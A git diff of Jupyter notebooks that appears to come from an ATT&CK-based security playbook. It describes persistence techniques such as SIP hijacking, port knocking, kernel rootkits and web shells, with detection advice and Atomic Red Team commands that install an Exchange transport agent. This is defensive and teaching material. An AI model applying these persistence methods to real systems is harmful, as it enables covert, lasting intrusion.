responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)" - }, - { - "cell_type": "markdown", - "id": "e1f84e51", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "74d11b11", - "metadata": {}, - "source": "## Detection\nPeriodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1205.001.ipynb b/playbook/tactics/persistence/T1205.001.ipynb index 90eb2956..e3495770 100644 --- a/playbook/tactics/persistence/T1205.001.ipynb +++ b/playbook/tactics/persistence/T1205.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a3d76b52", + "id": "8b21affe", "metadata": {}, "source": "# T1205.001 - Port Knocking\nAdversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs." }, { "cell_type": "markdown", - "id": "fa475033", + "id": "393a3eac", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "54a2fe7d", + "id": "a7ffdfe1", "metadata": {}, "source": "## Detection\nRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1205.002.ipynb b/playbook/tactics/persistence/T1205.002.ipynb index 86cf49cc..4aef0676 100644 --- a/playbook/tactics/persistence/T1205.002.ipynb +++ b/playbook/tactics/persistence/T1205.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b5b10de0", + "id": "78e6ba81", "metadata": {}, "source": "# T1205.002 - Socket Filters\nAdversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage." }, { "cell_type": "markdown", - "id": "4b18f2ee", + "id": "208ae428", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d4995831", + "id": "56a0d591", "metadata": {}, "source": "## Detection\nIdentify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1205.ipynb b/playbook/tactics/persistence/T1205.ipynb index 3e61f2c0..4becd9fc 100644 --- a/playbook/tactics/persistence/T1205.ipynb +++ b/playbook/tactics/persistence/T1205.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "502b1250", + "id": "c6329350", "metadata": {}, "source": "# T1205 - Traffic Signaling\nAdversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)" }, { "cell_type": "markdown", - "id": "35c675e5", + "id": "17201260", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "6eed71df", + "id": "46649896", "metadata": {}, "source": "## Detection\nRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)" }, { "cell_type": "markdown", - "id": "4b07309b", + "id": "134e37ff", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1209.ipynb b/playbook/tactics/persistence/T1209.ipynb deleted file mode 100644 index 8460ed84..00000000 --- a/playbook/tactics/persistence/T1209.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "07842156", - "metadata": {}, - "source": "# T1209 - Time Providers\nThe Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)" - }, - { - "cell_type": "markdown", - "id": "499c86d8", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ba6d2aaf", - "metadata": {}, - "source": "## Detection\nBaseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1215.ipynb b/playbook/tactics/persistence/T1215.ipynb deleted file mode 100644 index 3a809b26..00000000 --- a/playbook/tactics/persistence/T1215.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f2d00f22", - "metadata": {}, - "source": "# T1215 - Kernel Modules and Extensions\nLoadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)" - }, - { - "cell_type": "markdown", - "id": "e6016269", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "d0ca340f", - "metadata": {}, - "source": "## Detection\nLKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1501.ipynb b/playbook/tactics/persistence/T1501.ipynb deleted file mode 100644 index 8cbcbc2b..00000000 --- a/playbook/tactics/persistence/T1501.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0faaceae", - "metadata": {}, - "source": "# T1501 - Systemd Service\nSystemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)" - }, - { - "cell_type": "markdown", - "id": "3424609a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ac8a932b", - "metadata": {}, - "source": "## Detection\nSystemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1504.ipynb b/playbook/tactics/persistence/T1504.ipynb deleted file mode 100644 index 9f22dc5f..00000000 --- a/playbook/tactics/persistence/T1504.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "fe6a8bd5", - "metadata": {}, - "source": "# T1504 - PowerShell Profile\nAdversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" - }, - { - "cell_type": "markdown", - "id": "351d0308", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5fbc9952", - "metadata": {}, - "source": "## Detection\nLocations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1505.001.ipynb b/playbook/tactics/persistence/T1505.001.ipynb index 96d14a7d..daac736d 100644 --- a/playbook/tactics/persistence/T1505.001.ipynb +++ b/playbook/tactics/persistence/T1505.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b567d97e", + "id": "6820cbdc", "metadata": {}, "source": "# T1505.001 - SQL Stored Procedures\nAdversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) " }, { "cell_type": "markdown", - "id": "75280a20", + "id": "8db5f991", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d347c5bd", + "id": "b7ad0a85", "metadata": {}, "source": "## Detection\nOn a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1505.002.ipynb b/playbook/tactics/persistence/T1505.002.ipynb index 06e64e50..69152ef3 100644 --- a/playbook/tactics/persistence/T1505.002.ipynb +++ b/playbook/tactics/persistence/T1505.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "cdb140ef", + "id": "ecf3a96d", "metadata": {}, "source": "# T1505.002 - Transport Agent\nAdversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. " }, { "cell_type": "markdown", - "id": "20b28710", + "id": "a2db7c4b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ac534877", + "id": "debcf6d4", "metadata": {}, "source": "### Atomic Test #1 - Install MS Exchange Transport Agent Persistence\nInstall a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.\nMore details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Exchange SnapIn must be installed\n\n##### Check Prereq Commands:\n```powershell\nGet-TransportAgent -TransportService FrontEnd\n\n```\n##### Get Prereq Commands:\n```powershell\nAdd-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "709becc1", + "id": "e204501e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a6d86edb", + "id": "cbc2ed16", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fa9e242f", + "id": "f92baa5a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a935bde8", + "id": "5d047188", "metadata": {}, "source": "#### Cleanup: \n```powershell\nif(Get-Command \"Get-TransportAgent\" -ErrorAction Ignore){\n Disable-TransportAgent Security Interop Agent\n Uninstall-TransportAgent Security Interop Agent\n Get-TransportAgent\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f3ef4e5b", + "id": "61a20bde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "82a6867d", + "id": "1c0f0216", "metadata": {}, "source": "## Detection\nConsider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1505.003.ipynb b/playbook/tactics/persistence/T1505.003.ipynb index 463625db..96672aef 100644 --- a/playbook/tactics/persistence/T1505.003.ipynb +++ b/playbook/tactics/persistence/T1505.003.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "d9d794f4", + "id": "81185dc3", "metadata": {}, "source": "# T1505.003 - Web Shell\nAdversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)" }, { "cell_type": "markdown", - "id": "fa2c064c", + "id": "c908ad53", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3a01ba35", + "id": "787b347a", "metadata": {}, - "source": "### Atomic Test #1 - Web Shell Written to Disk\nThis test simulates an adversary leveraging Web Shells by simulating the file modification to disk.\nIdea from APTSimulator.\ncmd.aspx source - 